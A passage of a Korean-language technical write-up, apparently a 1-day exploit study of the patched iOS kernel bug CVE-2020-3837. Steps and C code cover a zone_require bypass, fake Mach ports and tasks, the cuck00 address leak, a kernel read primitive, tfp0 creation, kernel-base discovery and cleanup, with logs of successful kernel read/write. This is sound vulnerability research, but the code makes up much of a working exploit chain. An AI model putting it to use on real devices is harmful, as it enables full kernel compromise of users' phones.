href=\"https:\/\/archive.nullcon.net\/website\/goa-2022\/documents\/jailbreaking-iOS-Goa22.pdf\">https:\/\/archive.nullcon.net\/website\/goa-2022\/documents\/jailbreaking-iOS-Goa22.pdf<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/Screenshot_2025-09-13_at_5.15.35_AM.png\" alt=\"Screenshot 2025-09-13 at 5.15.35\u202fAM.png\"><\/p>\n<pre><code class=\"language-cpp\">    \/\/ zone_require bypass\n    \/\/ 0x16 = .zindex\n    \/\/ 42 = .ipc_ports_zindex; zindex of the &quot;ipc_ports&quot; zone\n    \/\/ 58 = .tasks_zindex; zindex of the &quot;tasks&quot; zone\n    *(uint16_t *)(fake_port_page + 0x16) = 42;\n#if __arm64e__\n    *(fake_task_page + 0x16) = 57;\n#else\n    *(uint16_t *) (fake_task_page + 0x16) = 58;\n#endif\n<\/code><\/pre>\n<h2>18. fake port\uc5d0 \ud574\ub2f9\ub418\ub294 Mach OOL \uba54\uc2dc\uc9c0 \uc218\uc2e0\ud558\uae30<\/h2>\n<ul>\n<li><code>ool_ports_realloc_buffer<\/code>\ub4e4\ub85c \uac00\ub4dd\ucc2c 3\uacf3\uc744 \ub2e4\uc2dc \ub5a0\uc62c\ub824\ubcf4\uc790.<\/li>\n<li>\uc774\uc804\uc5d0 5\ubc88 \uacfc\uc815\uc5d0\uc11c \ud560\ub2f9\ub418\uc5c8\ub358 ool ports \uacf5\uac04(\uc0ac\uc9c4 \uc0c1\uc5d0\uc11c\ub294 \ucd08\ub85d\uc0c9 \ubd80\ubd84)\uc774\n\uc9c0\uae08\uc740 15\ubc88 \uacfc\uc815\uc73c\ub85c \uc778\ud574 fake port \uc8fc\uc18c\ub4e4\ub85c \uac00\ub4dd \ucc44\uc6cc\uc838\uc788\ub2e4.<\/li>\n<li>\ub530\ub77c\uc11c OOL \uba54\uc2dc\uc9c0\ub97c \uc218\uc2e0\ud558\uace0 \uc870\uc791\ub41c \ud3ec\ud2b8 \ud578\ub4e4\uc744 \ub2e4\uc2dc \uc77d\uc5b4\uc62c \uc218 \uc788\ub294\ub370,\n\uc5ec\uae30\uc11c fakeport\uc5d0 \ub300\uc751\ud558\ub294 \ud3ec\ud2b8 \ud578\ub4e4\uc744 \uc5bb\uc744 \uc218 \uc788\ub2e4.<\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%2016.png\" alt=\"image.png\"><\/p>\n<pre><code class=\"language-cpp\">\/\/ receive back the fake ports\n    struct ool_msg *ool = (struct ool_msg *)receive_message(ool_message_port, sizeof(struct ool_msg) + 0x1000);\n    mach_port_t fakeport = ((mach_port_t *)ool-&gt;ool_ports.address)[0];\n    free(ool);\n    ool = NULL;\n    \n    if (!fakeport) {\n        printf(&quot;[-] Didn't get fakeport???\\n&quot;);\n        goto err;\n    }\n    \n    printf(&quot;[+] fakeport: 0x%x\\n&quot;, fakeport);\n<\/code><\/pre>\n<h2>19. cuck00 \ucde8\uc57d\uc810\uc744 \uc774\uc6a9\ud558\uc5ec ool_message_port \uc0ac\uc6a9\uc790 \ud3ec\ud2b8\ub85c\ubd80\ud130 \ucee4\ub110 \uacf5\uac04\uc758 ipc_port \uad6c\uc870\uccb4 \uc8fc\uc18c \uac00\uc838\uc624\uae30<\/h2>\n<ul>\n<li>\ucd94\ud6c4 \ucee4\ub110 \ud0dc\uc2a4\ud06c \ud3ec\ud2b8\uc778 tfp0\ub97c \uc5bb\uae30 \uc704\ud574\uc11c\ub294 <code>ipc_space_kernel<\/code> \uc8fc\uc18c\uac00 \ud544\uc694\ud568.<\/li>\n<li><code>ipc_space_kernel<\/code> \uc8fc\uc18c\ub97c \uc5bb\uae30 \uc704\ud574\uc11c\ub294 \ucc98\uc74c\uc5d0 <strong><code>ipc_port<\/code> \uad6c\uc870\uccb4 \uc911 <code>ip_receiver<\/code> \ud544\ub4dc\ub97c \uc77d\uc5b4\ub0bc \ud544\uc694\uac00 \uc788\uc5c8\uc74c.<\/strong><\/li>\n<li>\ub530\ub77c\uc11c <code>ipc_space<\/code> \uad6c\uc870\uccb4 \uc8fc\uc18c\ub97c \uba3c\uc800 \ub204\ucd9c\ud560 \ud544\uc694\uac00 \uc788\uc5c8\uc74c<\/li>\n<li>\ub204\ucd9c\ub41c \uc8fc\uc18c\ub294 <code>leaked_port_addr<\/code> \ubcc0\uc218\uc5d0 \uc800\uc7a5.<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">uint64_t find_port_via_cuck00(mach_port_t port) {\n    uint64_t refs[8] = { 0x4141414141414141, 0x4242424242424242, 0x4343434343434343, 0x4545454545454545, 0x4646464646464646, 0x4747474747474747, 0x4848484848484848, 0x4949494949494949 };\n\n    uint64_t in[3] = { 0, 0, 0 };\n    kern_return_t ret = IOConnectCallAsyncStructMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_set_notify_selector, port, refs, 8, in, sizeof(in), NULL, NULL);\n    if (ret) {\n        return 0;\n    }\n\n    uint64_t id = IOSurface_id;\n    ret = IOConnectCallScalarMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_increment_use_count_selector, &amp;id, 1, NULL, NULL);\n    if (ret) {\n        return 0;\n    }\n\n    ret = IOConnectCallScalarMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_decrement_use_count_selector, &amp;id, 1, NULL, NULL);\n    if (ret) {\n        return 0;\n    }\n\n    struct {\n        mach_msg_header_t head;\n        struct {\n            mach_msg_size_t size;\n            natural_t type;\n            uintptr_t ref[8];\n        } notify;\n        struct {\n            kern_return_t ret;\n            uintptr_t ref[8];\n        } content;\n        mach_msg_max_trailer_t trailer;\n    } msg = {};\n    \n    ret = mach_msg(&amp;msg.head, MACH_RCV_MSG, 0, sizeof(msg), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n    \n    if (ret) {\n        return 0;\n    }\n\n    return msg.notify.ref[0] &amp; ~3;\n}\n\nuint64_t leaked_port_addr = find_port_via_cuck00(ool_message_port);\n    if (!leaked_port_addr) {\n        printf(&quot;[-] Failed to leak port address\\n&quot;);\n        goto err;\n    }\n    printf(&quot;[+] Leaked port: 0x%llx\\n&quot;, leaked_port_addr);\n\n<\/code><\/pre>\n<h2>20. \ucee4\ub110 \uc77d\uae30 \uad6c\ud604<\/h2>\n<ul>\n<li>fakeport\uc5d0 \ub300\uc751\ud558\ub294 \ud3ec\ud2b8 \ud578\ub4e4\uc744 \ud68d\ub4dd\ud558\uc600\uae30 \ub54c\ubb38\uc5d0,\n\uc774\uc81c \ud574\ub2f9 \ud3ec\ud2b8\ub97c \ud1b5\ud574<code>pid_for_task<\/code> \ud568\uc218\ub85c \uc548\uc815\uc801\uc778 \ucee4\ub110 \uc77d\uae30 \ud504\ub9ac\ubbf8\ud2f0\ube0c\ub97c \uad6c\ud604\ud560 \uc218 \uc788\uc74c.<\/li>\n<li>fakeport \/ faketask \ub0b4\uc6a9\uc740 \ucee4\ub110\uacfc \uc720\uc800\uac04\uc758 \uacf5\uc720\uba54\ubaa8\ub9ac\uc778 \ucee4\ub9e8\ub4dc \ubc84\ud37c\uc5d0 \uc704\uce58\ud574\uc788\uae30 \ub54c\ubb38\uc5d0 \uc5b8\uc81c\ub4e0\uc9c0 \uc81c\uc5b4\ud560 \uc218 \uc788\uc74c.<\/li>\n<li>\uc81c\uc5b4 \uac00\ub2a5\ud558\uae30\uc5d0 &#8211; \ub530\ub77c\uc11c, fake task\uc758 <code>bsd_info<\/code> \ud544\ub4dc\ub97c \uc870\uc791\ud568\uc73c\ub85c\uc368 \uc77d\ud790 \ub300\uc0c1\uc758 \uc8fc\uc18c\ub97c \uc9c0\uc815\ud560 \uc218 \uc788\uc74c.<\/li>\n<li><code>ool_message_port<\/code> \uc0ac\uc6a9\uc790 \ud3ec\ud2b8\uc5d0 \ud574\ub2f9\ub418\ub294 <code>ipc_port<\/code> \uad6c\uc870\uccb4 \uc911 <code>ip_receiver<\/code> \ud544\ub4dc\ub97c \ud1b5\ud574 <strong><code>ipc_space_kernel<\/code> \uc8fc\uc18c\ub97c \uc5bb\uc74c.<\/strong><\/li>\n<li><code>proc<\/code>\ub294 \uc591\ubc29\ud5a5 \uc5f0\uacb0 \ub9ac\uc2a4\ud2b8\uc774\ubbc0\ub85c, \ud604\uc7ac \ud504\ub85c\uc138\uc2a4\ubd80\ud130 \uc2dc\uc791\ud574 \uc55e\ucabd\uc73c\ub85c <code>pid=0<\/code>\uae4c\uc9c0 \uc21c\ud68c\ud558\uba74\uc11c \ucee4\ub110 proc \uad6c\uc870\uccb4\ub97c \uc5bb\uc740 \ub2e4\uc74c, <strong>\ucee4\ub110\uc758 <code>vm_map<\/code> \uc8fc\uc18c\ub97c \uc5bb\uc74c.<\/strong><\/li>\n<li><code>leaked_port_addr<\/code>\uc5d0 \uc800\uc7a5\ub41c <code>i**pc_port<\/code> \uad6c\uc870\uccb4 \uc8fc\uc18c\uc5d0\uc11c \ud544\ub4dc \uc811\uadfc\uc744 \ud1b5\ud574 <code>our_port_addr<\/code> \uc8fc\uc18c\uc640 <code>ipc_space_kernel<\/code> \uc8fc\uc18c\ub97c \uc5bb\uc74c.**<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">    \/\/ ----------- kernel read ----------- \/\/\n    \n    uint64_t *read_addr_ptr = (uint64_t *)((uint64_t)fake_task + off_task_bsd_info);\n    \n#define kr32(addr) rk32_via_fakeport(fakeport, read_addr_ptr, addr)\n#define kr64(addr) rk64_via_fakeport(fakeport, read_addr_ptr, addr)\n\n    uint64_t ipc_space = kr64(leaked_port_addr + off_ipc_port_ip_receiver);\n    if (!ipc_space) {\n        printf(&quot;[-] Kernel read failed!\\n&quot;);\n        goto err;\n    }\n    printf(&quot;[+] Got kernel read\\n&quot;);\n    \n    uint64_t kernel_vm_map = 0;\n    uint64_t ipc_space_kernel = 0;\n    uint64_t our_port_addr = 0;\n    \n    uint64_t struct_task = kr64(ipc_space + off_ipc_space_is_task);\n    our_port_addr = kr64(struct_task + off_task_itk_self);\n    ipc_space_kernel = kr64(our_port_addr + offsetof(kport_t, ip_receiver));\n    \n    while (struct_task) {\n        uint64_t bsd_info = kr64(struct_task + off_task_bsd_info);\n\n        int pid = kr32(bsd_info + off_p_pid);\n        if (pid == 0) {\n            kernel_vm_map = kr64(struct_task + off_task_map);\n            break;\n        }\n        \n        struct_task = kr64(struct_task + off_task_prev);\n    }\n    \n    printf(&quot;[+] Our task port: 0x%llx\\n&quot;, our_port_addr);\n<\/code><\/pre>\n<pre><code class=\"language-cpp\">=================== Overall Info ===================\nseglist =                   0xffffffe0cf624000\ncmdbuf =                    0xffffffe0d5624000\nipc_kmsg =                  0xffffffe0db624000\nipc_kmsg2(FREED) =          0xffffffe0db644000\n[*] spray_buffer =          0xffffffe0db644000\noolports =                  0xffffffe0db664000\nkfree_buffer =              0xffffffe0db684000\n====================================================\n\n[*] ts for corrupting ipc_kmsg's ikm_size = 0xf8d825e6\n[*] Original ipc_kmsg's ikm_size: 0x1ffa8\n[*] Triggering bug with 7 bytes\n[*] Corruption worked?\n[*] Corrupted ipc_kmsg's ikm_size: 0xf8d82b\n[*] Freed kmsg\n[+] ikm_header leak: 0xffffffe0db64c028\n[+] Segment list calculated to be at: 0xffffffe0cf624000\n[+] fakeport: 0x2307\n[+] Leaked port: 0xffffffe002507330\n[+] Got kernel read\n[+] Our task port: 0xffffffe00149de30\n<\/code><\/pre>\n<h2>21. \ucee4\ub110 \ud0dc\uc2a4\ud06c \ud3ec\ud2b8 &#8211; tfp0 \uad6c\ud604<\/h2>\n<ul>\n<li>fake port\ub97c \ucee4\ub110 task \ud3ec\ud2b8\ub85c \ubc14\uafb8\uae30 \uc704\ud574 <code>ip_receiver<\/code>\ub97c <code>ipc_space_kernel<\/code> \uc8fc\uc18c\ub85c \uc5c5\ub370\uc774\ud2b8\ud568.<\/li>\n<li>\ucee4\ub110\uc758 <code>vm_map<\/code> \ud3ec\uc778\ud130\ub97c \uc0bd\uc785.<\/li>\n<li>fake task \uad6c\uc870\uccb4\uc758 <code>itk_self<\/code> \ud544\ub4dc\ub97c 1\ub85c \uc124\uc815.<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">    \/\/ ----------- tfp0! ----------- \/\/\n    \n    fake_port-&gt;ip_receiver = ipc_space_kernel;\n    *(uint64_t *)((uint64_t)fake_task + off_task_map) = kernel_vm_map;\n    *(uint32_t *)((uint64_t)fake_task + off_task_itk_self) = 1;\n    \n#if ENABLE_HELPER\n    \/\/ update\n    mach_port_destroy(mach_task_self(), tfp0);\n    tfp0 = NULL;\n    tfp0 = fakeport;\n#endif\n    printf(&quot;[+] Updated port for tfp0!\\n&quot;);\n\n    init_kernel_memory(fakeport, our_port_addr);\n<\/code><\/pre>\n<h3>\ud14c\uc2a4\ud2b8 \uc791\ub3d9 \ud655\uc778<\/h3>\n<ul>\n<li>8\ubc14\uc774\ud2b8 \ucee4\ub110 \ud560\ub2f9\/\ud574\uc81c<\/li>\n<li>\ucee4\ub110 \uc4f0\uae30\/\uc77d\uae30<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">    uint64_t addr = kalloc(8);\n    if (!addr) {\n        printf(&quot;[-] Seems like tfp0 port didn't work?\\n&quot;);\n        goto err;\n    }\n    \n    printf(&quot;[*] Allocated: 0x%llx\\n&quot;, addr);\n    kwrite64(addr, 0x4141414141414141);\n    uint64_t readb = kread64(addr);\n    kfree(addr, 8);\n    printf(&quot;[*] Read back: 0x%llx\\n&quot;, readb);\n    \n    if (readb != 0x4141414141414141) {\n        printf(&quot;[-] Read back value didn't match\\n&quot;);\n        goto err;\n    }\n<\/code><\/pre>\n<pre><code class=\"language-objectivec\">...\n[+] Updated port for tfp0!\n[*] Allocated: 0xffffffe000140000\n[*] Read back: 0x4141414141414141\n[*] DONE, spinning here...\n<\/code><\/pre>\n<h2>22. \ub354 \uc548\uc815\uc801\uc778 \ucee4\ub110 \ud0dc\uc2a4\ud06c \ud3ec\ud2b8 &#8211; tfp0 \uad6c\ud604<\/h2>\n<ul>\n<li><code>POP_PORT<\/code> \ub9e4\ud06c\ub85c\ub85c \ud3ec\ud2b8 \uac00\uc838\uc634.<\/li>\n<li>\ud574\ub2f9 \ud3ec\ud2b8\uc5d0 \ub300\ud55c <code>ipc_port<\/code> \uad6c\uc870\uccb4\ub97c \uac00\ub9ac\ud0a4\ub294 \ucee4\ub110 \uc8fc\uc18c\ub97c \uac00\uc838\uc640 <code>new_addr<\/code> \ubcc0\uc218\uc5d0 \uc9c0\uc815\ud568.<\/li>\n<li>\ud68d\ub4dd\ud55c tfp0\ub97c \uc774\uc6a9\ud558\uc5ec \ucee4\ub110 1\ud398\uc774\uc9c0 \ud06c\uae30\ub9cc\ud07c \ucee4\ub110 \uba54\ubaa8\ub9ac \ud560\ub2f9.\n<ul>\n<li>\ud560\ub2f9\ud55c \uc8fc\uc18c\uac00 \uace7 fake task\uc784.<\/li>\n<li>\uae30\uc874 fake task \ub0b4\uc6a9\uc744 \ubcf5\uc0ac\ud558\uc5ec \uc0c8 fake task\uc5d0 \ubd99\uc5ec\ub123\uc74c<\/li>\n<li>\uae30\uc874 fake port \ub0b4\uc6a9\uc744 \ubcf5\uc0ac\ud558\uc5ec \uc0c8 fake port(new_addr)\uc5d0 \ubd99\uc5ec\ub123\uc74c\n<ul>\n<li>\ubd99\uc5ec\ub123\uae30\uc804\uc5d0, <code>ip_kobject<\/code> \ud544\ub4dc\ub294 \uc0c8 fake_task + 0x100 \uac12\uc73c\ub85c \uc5c5\ub370\uc774\ud2b8\ud574\uc57c\ud568.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">uint64_t find_port(mach_port_name_t port) {\n    uint64_t task_addr = task_self_addr();\n    \n    uint64_t itk_space = kread64(task_addr + off_task_itk_space);\n    \n    uint64_t is_table = kread64(itk_space + off_ipc_space_is_table);\n    \n    uint32_t port_index = port &gt;&gt; 8;\n    const int sizeof_ipc_entry_t = 0x18;\n    \n    uint64_t port_addr = kread64(is_table + (port_index * sizeof_ipc_entry_t));\n    return port_addr;\n}\n\n...\n\n    printf(&quot;[*] Creating safer port\\n&quot;);\n    \n    new_tfp0 = POP_PORT();\n    if (!new_tfp0) {\n        printf(&quot;[-] Failed to allocate new tfp0 port\\n&quot;);\n        goto err;\n    }\n    \n    uint64_t new_addr = find_port(new_tfp0);\n    if (!new_addr) {\n        printf(&quot;[-] Failed to find new tfp0 port address\\n&quot;);\n        goto err;\n    }\n    \n    uint64_t faketask = kalloc(pagesize);\n    if (!faketask) {\n        printf(&quot;[-] Failed to kalloc faketask\\n&quot;);\n        goto err;\n    }\n    \n    kwritebuf(faketask, fake_task_page, pagesize);\n    fake_port-&gt;ip_kobject = faketask + 0x100;\n    \n    kwritebuf(new_addr, (const void*)fake_port, sizeof(kport_t));\n    \n    printf(&quot;[*] Testing new tfp0 port\\n&quot;);\n    \n    init_kernel_memory(new_tfp0, our_port_addr);\n    tfp0 = new_tfp0;\n\n<\/code><\/pre>\n<h3>\ud14c\uc2a4\ud2b8 \uc791\ub3d9 \ud655\uc778<\/h3>\n<pre><code class=\"language-cpp\">    addr = kalloc(8);\n    if (!addr) {\n        printf(&quot;[-] Seems like the new tfp0 port didn't work?\\n&quot;);\n        goto err;\n    }\n    \n    printf(&quot;[+] tfp0: 0x%x\\n&quot;, new_tfp0);\n    printf(&quot;[*] Allocated: 0x%llx\\n&quot;, addr);\n    kwrite64(addr, 0x4141414141414141);\n    readb = kread64(addr);\n    kfree(addr, 8);\n    printf(&quot;[*] Read back: 0x%llx\\n&quot;, readb);\n    \n    if (readb != 0x4141414141414141) {\n        printf(&quot;[-] Read back value didn't match\\n&quot;);\n        goto err;\n    }\n<\/code><\/pre>\n<pre><code class=\"language-cpp\">[*] Creating safer port\n[*] Testing new tfp0 port\n[+] tfp0: 0x1b03\n[*] Allocated: 0xffffffe031bb4000\n[*] Read back: 0x4141414141414141\n<\/code><\/pre>\n<h2>23. \ucee4\ub110 \ubca0\uc774\uc2a4 \ucc3e\uae30<\/h2>\n<ul>\n<li><code>IOSurfaceRootUserClient<\/code> \uac1d\uccb4\ubd80\ud130 \uad6c\uc870\uccb4 \ud544\ub4dc\uc5d0 \ucc28\ub840\ub85c \uc811\uadfc\ud558\uc5ec <code>vtable<\/code>\uc5d0 \uc811\uadfc\ud568.<\/li>\n<li><code>vtable<\/code>\uc5d0 \uc788\ub294 <code>IOUserClient::getTargetAndTrapForIndex<\/code> \ud568\uc218 \uc8fc\uc18c\ub97c \uac00\uc838\uc634.<\/li>\n<li>\ud574\ub2f9 \ud568\uc218 \uc8fc\uc18c\uac00 \uc18d\ud55c \ud398\uc774\uc9c0\uc758 \uc8fc\uc18c\ub85c \ub0b4\ub9bc\ud55c \ub2e4\uc74c,\n\ucee4\ub110 \uc8fc\uc18c\ub97c \uc77d\uace0 \ud398\uc774\uc9c0 \ud06c\uae30\ub9cc\ud07c \uc77d\ud790 \uc8fc\uc18c\ub97c \uac10\uc18c\ud0b4\uc744 \ubc18\ubcf5\ud568\uc73c\ub85c\uc368 \ucee4\ub110 \ubca0\uc774\uc2a4\ub97c \ucc3e\uc74c.<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">    \/\/ ----------- find kernel base ----------- \/\/\n    uint64_t surfRoot = port_to_kobject(IOSurfaceRootUserClient);\n    uint64_t IOSurfaceRootUserClient_vtab = kread64(surfRoot);\n    IOSurfaceRootUserClient_vtab |= 0xffffff8000000000; \/\/ in case it has PAC\n    uint64_t getExternalTrapForIndex_func = kread64(IOSurfaceRootUserClient_vtab + 8 * 0xb7);    \/\/ IOUserClient::getExternalTrapForIndex;  LDR X8, [X8,#0x5B8]\n    getExternalTrapForIndex_func |= 0xffffff8000000000; \/\/ __ZN12IOUserClient23getExternalTrapForIndexEj; this address is inside the kernel image;\n    INFO(&quot;getExternalTrapForIndex_func = 0x%llx\\n&quot;, function);\n    uint64_t page = trunc_page_kernel(function);\n   \n    while (true) {\n        if (kread64(page) == 0x0100000cfeedfacf &amp;&amp; (kread64(page + 8) == 0x0000000200000000 || kread64(page + 8) == 0x0000000200000002)) {\n            kbase = page;\n            break;\n        }\n        page -= pagesize;\n    }\n    \n    printf(&quot;[*] Kernel base: 0x%llx\\n&quot;, kbase);\n<\/code><\/pre>\n<h2>24. \uc815\ub9ac<\/h2>\n<p>\uc775\uc2a4\ud50c\ub85c\uc787\ud574\uc8fc\ub294 \ud504\ub85c\uc138\uc2a4\uac00 \uc548\uc815\uc801\uc73c\ub85c \uc885\ub8cc\ub418\uae30 \uc704\ud574\uc11c\ub294 \uba87 \uac00\uc9c0 \uc815\ub9ac\uac00 \ud544\uc694\ud558\ub2e4.<\/p>\n<h3>24-1. \uacf5\uc720\uba54\ubaa8\ub9ac \uc601\uc5ed\uc778 seglist, cmdbuf\ub97c \uc548\uc815\uc801\uc73c\ub85c free\ud560 \uc218 \uc788\uac8c \uc900\ube44\ud558\uae30<\/h3>\n<ul>\n<li>\ucee4\ub9e8\ub4dc \ubc84\ud37c\uc5d0 \uc704\uce58\ud55c \uccab tfp0 \ud3ec\ud2b8\uc5d0 \ub300\ud55c \ucc38\uc870\ub97c \uc81c\uac70\ud558\uae30\n<ul>\n<li>\uc6b0\ub9ac\ub294 22\ubc88 \uacfc\uc815\uc778 \ucee4\ub110 \uba54\ubaa8\ub9ac\ub97c \ud398\uc774\uc9c0\ub9cc\ud07c \ud560\ub2f9\ud558\uace0 \uc548\uc815\uc801\uc778 tfp0 \ud3ec\ud2b8\ub97c \ub9cc\ub4e4\uc5b4\uc11c,\n\uc624\ub798\ub41c fake port(*\uc815\ud655\ud788\ub294 cmdbuf \uc8fc\uc18c\ub97c \uac00\ub9ac\ud0b4)\ub294 \ub354\uc774\uc0c1 \ud544\uc694\uc5c6\uae30 \ub54c\ubb38\uc774\ub2e4.<\/li>\n<li>\ub530\ub77c\uc11c \ud574\ub2f9 fakeport\uac00 \ucc38\uc870\ud558\ub294 <code>ie_object<\/code>\uc640 <code>ie_bits<\/code>\ub97c nullify\uc2dc\ud0a8\ub2e4.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">   \/\/ ----------- clean up ----------- \/\/\n\n    printf(&quot;[-] Cleaning up...\\n&quot;);\n    uint64_t our_task_addr = rk64(our_port_addr + off_ipc_port_ip_kobject);\n    uint64_t itk_space = rk64(our_task_addr + off_task_itk_space);\n    uint64_t is_table = rk64(itk_space + off_ipc_space_is_table);\n    \n    uint32_t port_index = fakeport &gt;&gt; 8;\n    const int sizeof_ipc_entry_t = 0x18;\n    \n    \/\/ remove references to the first tfp0 port which is located in the command buffer\n    kwrite32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);\n    kwrite64(is_table + (port_index * sizeof_ipc_entry_t), 0);\n    fakeport = MACH_PORT_NULL;\n<\/code><\/pre>\n<p>\uc0ac\uc9c4\uc73c\ub85c \ub098\ud0c0\ub0b4\uba74 \uc544\ub798\uc640 \uac19\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%2017.png\" alt=\"image.png\"><\/p>\n<ul>\n<li>\uc571(\uc775\uc2a4\ud50c\ub85c\uc787\ud574\uc8fc\ub294 \ud504\ub85c\uc138\uc2a4)\uac00 \uc885\ub8cc\ub420 \uc2dc \ucee4\ub110 \ud328\ub2c9\uc774 \ub098\uc9c0 \uc54a\ub3c4\ub85d <code>new_tfp0<\/code>\uc758 \uc218\uc2e0 \uad8c\ud55c(receive right) \uc81c\uac70\ud558\uae30\n<ul>\n<li><code>new_tfp0<\/code> \ud3ec\ud2b8\uc5d0\uc11c <code>ie_bits<\/code> \ud544\ub4dc\ub97c <code>MACH_PORT_TYPE_RECEIVE<\/code> \uc81c\uac70\ud55c \ud50c\ub798\uadf8\ub85c \ub9cc\ub4e0\ub2e4.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">    \/\/ remove our receive right of new_tfp0 to prevent it from dying on app exit\n    port_index = new_tfp0 &gt;&gt; 8;\n    uint32_t ie_bits = kread32(is_table + (port_index * sizeof_ipc_entry_t) + 8);\n    ie_bits &amp;= ~MACH_PORT_TYPE_RECEIVE;\n    kwrite32(is_table + (port_index * sizeof_ipc_entry_t) + 8, ie_bits);\n<\/code><\/pre>\n<h3>24-2. spray_buffer \uc548\uc815\uc801\uc73c\ub85c free\uc2dc\ud0a4\uac8c \ub9cc\ub4e4\uae30<\/h3>\n<ul>\n<li>18\ubc88 \uacfc\uc815\uc5d0\uc11c \uc9c0\uae08\uae4c\uc9c4 \ud560\ub2f9\ub41c \uc601\uc5ed\uc5d0 \ub300\ud55c \uadf8\ub9bc\uc744 \ub2e4\uc2dc \ud55c\ubc88 \uc0b4\ud3b4\ubcf4\uc790.\n<ul>\n<li><code>spray_buffer<\/code> \uc601\uc5ed\uc740 9\ubc88 \uc2a4\ud504\ub808\uc774 \uacfc\uc815\uc5d0 \uc758\ud574 \ud560\ub2f9\ub418\uc5c8\ub2e4\uac00,\n10\ubc88 \uacfc\uc815\uc5d0 \uc758\ud574 \ub113\uc740 \ubc94\uc704\ub85c free\ub41c \uc774\ud6c4,\n\ud604\uc7ac\ub294 15\ubc88 \uacfc\uc815\uc5d0 \uc758\ud574 <code>ool_ports_realloc_buffer<\/code>\ub4e4\ub85c \ucc44\uc6cc\uc838\uc788\ub2e4.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%2016.png\" alt=\"image.png\"><\/p>\n<ul>\n<li><code>IOSurfaceUserClient<\/code> \ud3ec\ud2b8\uc5d0\uc11c <code>all_properties<\/code>(OSDictionary)\ub97c \ucc3e\uc544(\ucee4\ub110 \uba54\ubaa8\ub9ac \uc77d\uae30) \ud2b9\uc815 \ud0a4(\uc815\uc218 \ud615\ud0dc\ub85c \ud3ec\uc7a5\ub41c 4\ubc14\uc774\ud2b8)\ub97c \uc774\uc6a9\ud574 \uc2a4\ud504\ub808\uc774\ud588\ub358 \uac12\uc744 \uaebc\ub0b8\ub2e4.<\/li>\n<li>\uc5ec\uae30\uc11c \uac12\uc740 OSArray \ud0c0\uc785\uc774\uba70, <code>all_properties<\/code>\ub294 <code>userdict_from_IOSurface<\/code> \ud568\uc218\uc758 \ubc18\ud658\uac12\uacfc \ub3d9\uc77c\ud558\ub2e4.<\/li>\n<li>OSArray \ubc30\uc5f4\uc744 \uc21c\ud68c\ud558\uba70 \uadf8\ub9bc\uc18d\uc758 <code>spray_buffer<\/code> \uc601\uc5ed \uc8fc\uc18c\uc640 \uc77c\uce58\ud558\ub294 OSData \ubc84\ud37c\ub97c \ucc3e\ub294\ub2e4.<\/li>\n<li>\ud574\ub2f9 OSData\uc758 <code>capacity<\/code>\ub97c 0\uc73c\ub85c \ucd08\uae30\ud654\uc2dc\ud0a8\ub2e4.<\/li>\n<li>\uc774\ud6c4\uc5d0\ub294 <code>IOSurface_remove_property<\/code> \ud568\uc218\ub97c \ud1b5\ud574 \uc548\uc815\uc801\uc73c\ub85c \ud560\ub2f9\ud574\uc81c\uc2dc\ud0ac \uc218 \uc788\ub2e4.<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">\/\/ get all_properties property from an IOSurfaceRootUserClient mach port. this is an OSDictionary * where all properties are set using setValue\nuint64_t get_all_properties(mach_port_t IOSurfaceRootUserClient) {\n    uint64_t IOSRUC_port_addr = find_port(IOSurfaceRootUserClient); \/\/ struct ipc_port *\n    uint64_t IOSRUC_addr = kread64(IOSRUC_port_addr + off_ipc_port_ip_kobject); \/\/ IOSurfaceRootUserClient *\n    uint64_t IOSC_addr = kread64(kread64(IOSRUC_addr + 0x118) + 8 * IOSurface_id); \/\/ IOSurfaceClient *\n    uint64_t IOSurface_addr = kread64(IOSC_addr + 0x40); \/\/ IOSurface *\n    uint64_t all_properties = kread64(IOSurface_addr + 0xe8); \/\/ OSDictionary *\n    return all_properties;\n}\n\nuint64_t OSDictionary_objectForKey(uint64_t dict, char *key) {\n    uint64_t dict_buffer = kread64(dict + 0x20); \/\/ void * \/\/ 0x20 = offsetof(OSDictionary, dictionary);\n    \n    int i = 0;\n    uint64_t key_sym = 0;\n    do {\n        key_sym = kread64(dict_buffer + i); \/\/ OSSymbol *\n        uint64_t key_buffer = kread64(key_sym + 0x10); \/\/ char * \/\/ 0x10 = p\/x offsetof(OSString, string)\n        if (!kstrcmp_u(key_buffer, key)) {\n            return kread64(dict_buffer + i + 8);\n        }\n        i += 16;\n    }\n    while (key_sym);\n    \n    return 0;\n}\n\nuint64_t address_of_property_key(mach_port_t IOSurfaceRootUserClient, uint32_t key) {\n    uint64_t all_properties = get_all_properties(IOSurfaceRootUserClient);\n    char *skey = malloc(5);\n    memcpy(skey, &amp;key, 4);\n    uint64_t value = OSDictionary_objectForKey(all_properties, skey);\n    free(skey);\n    return value;\n}\n\n    uint64_t spray_array = address_of_property_key(IOSurfaceRootUserClient, spray_buffer_key); \/\/ OSArray *\n    uint32_t capacity = OSArray_getCapacity(spray_array);\n    for (int i = 0; i &lt; capacity; i++) {\n        uint64_t object = 